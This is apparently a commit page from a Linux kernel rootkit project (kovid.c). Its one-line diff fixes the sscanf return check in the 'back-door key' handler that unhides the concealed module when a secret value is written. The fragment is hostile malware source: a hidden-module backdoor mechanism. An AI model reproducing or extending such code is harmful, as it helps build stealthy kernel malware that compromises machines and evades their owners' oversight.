back-door key: Fix missing check for sscanf return

carloslack · Nov 28, 2024 · 4a3f1ab · 4a3f1ab
1 parent b5b1976
commit 4a3f1ab
Showing 1 changed file with 1 addition and 1 deletion.
diff --git a/src/kovid.c b/src/kovid.c
@@ -501,7 +501,7 @@ static ssize_t write_cb(struct file *fptr, const char __user *user,
             case Opt_unhide_module:
                 {
                     uint64_t val;
-                    if (sscanf(args[0].from, "%llx", &val) &&
+                    if ((sscanf(args[0].from, "%llx", &val) > 0) &&
                             UNHIDEKEY == val) {
                         kv_unhide_mod();
                     }